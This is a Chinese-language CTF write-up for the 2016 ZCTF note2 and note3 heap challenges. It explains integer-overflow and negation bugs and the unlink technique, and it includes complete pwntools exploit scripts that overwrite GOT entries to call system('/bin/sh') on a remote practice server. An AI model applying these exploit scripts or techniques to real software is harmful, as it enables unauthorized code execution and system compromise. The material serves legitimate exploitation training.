Unlink 2016-ZCTF-note2-and-note3

2016-ZCTF-note2

https://files.buuoj.cn/files/761fb16a644de97e745bb29b281c0fff/note2

grxer@Ubuntu16:~/Desktop/pwn/heap$ checksec note2
[*] '/home/grxer/Desktop/pwn/heap/note2'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)

没开pie而且有指针全局数组再bss段,最多四个堆块,可通过数组里的指针编辑修改数据,优先考虑unlink

找找哪里有堆溢出不

unsigned __int64 __fastcall ReadStr(char *s, __int64 len, char a3)
{
char buf; // [rsp+2Fh] [rbp-11h] BYREF
unsigned __int64 i; // [rsp+30h] [rbp-10h]
ssize_t v7; // [rsp+38h] [rbp-8h]

for ( i = 0LL; len - 1 > i; ++i )
{
v7 = read(0, &buf, 1uLL);
if ( v7 <= 0 )
exit(-1);
if ( buf == a3 )
break;
s[i] = buf;
}
s[i] = 0;
return i;
}

自定义了一个输入函数,可惜忽略了signed数和unsigned数比较时signed会转变为unsigned数,我们malloc(0)时,len-1为-1,-1和unsigned i比较时会变为0xffffffff,可以堆溢出

malloc(0)时,glibc 的要求 chunk 块至少可以存储 4 个必要的字段 (prev_size,size,fd,bk),所以会分配 0x20 的空间。

content = b’a’ * 8 + p64(0xa1) + p64(fakefd) + p64(fakebk) + b’b’ * 0x48
newnote(0x80, content)
newnote(0, ‘a’ * 8)
newnote(0x80, ‘b’ * 16)

在chunk0里伪造chunk,为了绕过=P的检测我们

ptr = 0x0000000000602120 这里存储的是伪造chunk的开始地址
fakefd = ptr - 0x18
fakebk = ptr - 0x10

这里我们不能直接在chunk1申请时进行溢出,因为那时候我们还没有申请到chunk2,溢出会到topchunk,

我们先删除在申请就可以,因为大小是fastbin,再申请还是那个堆

deletenote(1)
content = b’a’ * 16 + p64(0xa0) + p64(0x90)
newnote(0,content)

这样我们就可以溢出chunk2

deletenote(2) unlink

image-20230315170826792

和我们上一篇文章讨论的一样把ptr地址内容改为ptr-0x18

leak 拿shell

修改chunk0把ptr[0]修改为atoi_got,直接show就可以泄露出来atoi地址

atoi_got = elf.got[‘atoi’]
content = b’a’ * 0x18 + p64(atoi_got)
editnote(0, 1, content)
shownote(0)

image-20230315171243972

再利用edit改写其got为system,输入binsh拿shell即可

content = p64(system)
editnote(0, 1, content)
ru(b’option—>>’)
sl(b’/bin/sh\x00’)

image-20230315164908151

EXP

from pwn import *
from LibcSearcher import *
context(os='linux',arch='amd64')
pwnfile='./note2'
elf = ELF(pwnfile)
rop = ROP(pwnfile)
if args['REMOTE']:
io = remote('node4.buuoj.cn','29970')
else:
io = process(pwnfile)
r = lambda x: io.recv(x)
ra = lambda: io.recvall()
rl = lambda: io.recvline(keepends=True)
ru = lambda x: io.recvuntil(x, drop=True)
s = lambda x: io.send(x)
sl = lambda x: io.sendline(x)
sa = lambda x, y: io.sendafter(x, y)
sla = lambda x, y: io.sendlineafter(x, y)
ia = lambda: io.interactive()
c = lambda: io.close()
li = lambda x: log.info(x)
db = lambda x : gdb.attach(io,x)
p =lambda x,y:success(x+'-->'+hex(y))

def newnote(length, content):
io.recvuntil(b'option--->>')
io.sendline(b'1')
io.recvuntil(b'(less than 128)')
io.sendline(str(length).encode())
io.recvuntil(b'content:')
io.sendline(content)

def shownote(id):
io.recvuntil(b'option--->>')
io.sendline(b'2')
io.recvuntil(b'note:')
io.sendline(str(id).encode())

def editnote(id, choice, s):
io.recvuntil(b'option--->>')
io.sendline(b'3')
io.recvuntil(b'note:')
io.sendline(str(id).encode())
io.recvuntil(b'2.append]')
io.sendline(str(choice).encode())
io.sendline(s)

def deletenote(id):
io.recvuntil(b'option--->>')
io.sendline(b'4')
io.recvuntil(b'note:')
io.sendline(str(id).encode())
# db('b* 0x400C65')#new
# db('b* 0x400CE4')#delete
db('b *0x400F74')#edit
io.recvuntil('name:')
io.sendline('hello')
io.recvuntil('address:')
io.sendline('grxer')
ptr = 0x0000000000602120
fakefd = ptr - 0x18
fakebk = ptr - 0x10
content = b'a' * 8 + p64(0xa1) + p64(fakefd) + p64(fakebk) + b'b' * 0x48
newnote(0x80, content)
newnote(0, 'a' * 8)
newnote(0x80, 'b' * 16)
deletenote(1)
content = b'a' * 16 + p64(0xa0) + p64(0x90)
newnote(0,content)
deletenote(2)

atoi_got = elf.got['atoi']
content = b'a' * 0x18 + p64(atoi_got)
editnote(0, 1, content)
shownote(0)
ru(b'is ')
atoi_ad=u64(r(6).ljust(8,b'\x00'))
p('atoi',atoi_ad)
libc=LibcSearcher('atoi',atoi_ad)
base=atoi_ad-libc.dump('atoi')
system=libc.dump('system')+base
content = p64(system)
editnote(0, 1, content)
ru(b'option--->>')
sl(b'/bin/sh\x00')
io.interactive()

2016-ZCTF-note3

https://files.buuoj.cn/files/569bb2532339a0bd669f5d2457526ba7/zctf_2016_note3

和note2一样的保护

和note2相比,这次可以申请最多7个chunk,全局指针数组0x6020C0的0是最近申请或修改过的指针,后面依次顺序是malloc的chunk

这次没有了show函数帮我方便的leak地址

老的堆溢出的漏洞依旧存在

还有了新的堆溢出方式

第一种溢出方式

和之前一下自定义read时-1转换为无符号读取即可

第二种溢出方式

int edit()
{
__int64 v0; // rax
__int64 v1; // rax
__int64 v3; // [rsp+8h] [rbp-8h]

puts("Input the id of the note:");
v0 = getsize();
v3 = v0 % 7;
if ( v0 % 7 >= v0 )
{
v1 = (__int64)*(&ptr + v3);
if ( v1 )
{
puts("Input the new content:");
myread((__int64)*(&ptr + v3), ptr_st[v3 + 8], 10);
ptr_st[0] = (__int64)*(&ptr + v3);
LODWORD(v1) = puts("Edit success");
}
}
else
{
LODWORD(v1) = puts("please input correct id.");
}
return v1;
}
__int64 getsize()
{
__int64 v1; // [rsp+8h] [rbp-38h]
char nptr[40]; // [rsp+10h] [rbp-30h] BYREF
unsigned __int64 v3; // [rsp+38h] [rbp-8h]

v3 = __readfsqword(0x28u);
myread((__int64)nptr, 32LL, 10);
v1 = atol(nptr);
if ( v1 < 0 )
return -v1;
return v1;
}

NEG指令 -x=~x+1

当x为该位数可以表示的最大负数时,比如int 最大负数0x80000000

image-20230315233602653

取反+1还是0x80000000

#include <stdio.h>
#include <stdlib.h>
int main(void) {
int v2 = -2147483648;
if (v2==-v2) {
puts("ohhhhh");
}
}

image-20230315233803481

这里我们输入最大负整数-9223372036854775808,getsize返回-v1还是这个值给到edit里的v0,v3=-1,同时满足 v0 % 7 >= v0

myread((__int64)*(&ptr + v3), ptr_st[v3 + 8], 10);

这样我们修改ptr[-1]也就是最近使用的堆,大小为ptr_st[-1 + 8],第6个chunk的大小,我们把第6个chunk地址申请的比最近使用的那个大就可以实现堆溢出

第三种

new时检测了chunk个数是不是大于7,但是只是puts,并没有实质性的阻值申请,申请后会把chunk8的ptr放到ptr数组开头的同时会把ptr放到,chunk1的size指针地址里,改变了chunk1的size,可以实现溢出

if ( i == 7 )
puts("Note is full, add fail");
puts("Input the length of the note content:(less than 1024)")

*(&ptr + i) = v3;
ptr_st[i + 8] = size;
ptr_st[0] = (__int64)*(&ptr + i);

其他好说

常规构造unlink后,没有show方便泄露地址,我们可以自己利用puts自己泄露

改写freegot内容为puts,这里改写时要注意发送7个字节即可p64(puts_plt)[:-1],如果8个字节+一个/n,/n最后又被置零,所以覆盖freegot时,会误覆盖freegot的下一个putsgot最低一个字节为\x00造成程序崩溃

改写另一个chunk指针为puts_plt,free这个chunk可以泄露地址,

再改写atoi-got为system即可

image-20230316002002255

EXP

from pwn import *
from LibcSearcher import *
context(os='linux',arch='amd64')
pwnfile='./note3'
elf = ELF(pwnfile)
rop = ROP(pwnfile)
if args['REMOTE']:
io = remote('node4.buuoj.cn','25662')
else:
io = process(pwnfile)
r = lambda x: io.recv(x)
ra = lambda: io.recvall()
rl = lambda: io.recvline(keepends=True)
ru = lambda x: io.recvuntil(x, drop=True)
s = lambda x: io.send(x)
sl = lambda x: io.sendline(x)
sa = lambda x, y: io.sendafter(x, y)
sla = lambda x, y: io.sendlineafter(x, y)
ia = lambda: io.interactive()
c = lambda: io.close()
li = lambda x: log.info(x)
db = lambda x : gdb.attach(io,x)
p =lambda x,y:success(x+'-->'+hex(y))

def newnote(length, content):
io.recvuntil(b'option--->>')
io.sendline(b'1')
io.recvuntil(b'(less than 1024)')
io.sendline(str(length).encode())
io.recvuntil(b'content:')
io.sendline(content)

def shownote(id):
io.recvuntil(b'option--->>')
io.sendline(b'2')
io.recvuntil(b'note:')
io.sendline(str(id).encode())

def editnote(id,data):
io.recvuntil('>>')
io.sendline('3')
io.recvuntil('note:')
io.sendline(str(id))
io.recvuntil('ent:')
io.sendline(data)
io.recvuntil('success')

def deletenote(id):
io.recvuntil(b'option--->>')
io.sendline(b'4')
io.recvuntil(b'note:')
io.sendline(str(id).encode())
# db('b *0x400B31')# new
# db('b *0x400BFB') # delete
# db('b *0x400CDA')#edit
# db('b *0x0400C89')
ptr = 0x6020C8
fakefd = ptr - 0x18
fakebk = ptr - 0x10
content = b'a' * 8 + p64(0xa1) + p64(fakefd) + p64(fakebk) + b'b' * 0x48
newnote(0x80, content)
newnote(0, 'a' * 8)
newnote(0x80, 'b' * 16)
deletenote(1)
content = b'a' * 16 + p64(0xa0) + p64(0x90)
newnote(0,content)
deletenote(2)
free_got = elf.got['free']
puts_got = elf.got['puts']
atoi_got = elf.got['atoi']
puts_plt = elf.plt['puts']
payload=b'a'*0x18+p64(free_got)+p64(puts_got)+p64(atoi_got)
editnote(0,payload)
editnote(0,p64(puts_plt)[:-1])
deletenote(1)
rl()
puts_ad=u64(r(6).ljust(8,b'\x00'))
p('puts',puts_ad)
libc=LibcSearcher('puts',puts_ad)
base=puts_ad-libc.dump('puts')
system=libc.dump('system')+base
editnote(2,p64(system))
io.recvuntil(b'option--->>')
sl(b'/bin/sh\x00')
io.interactive()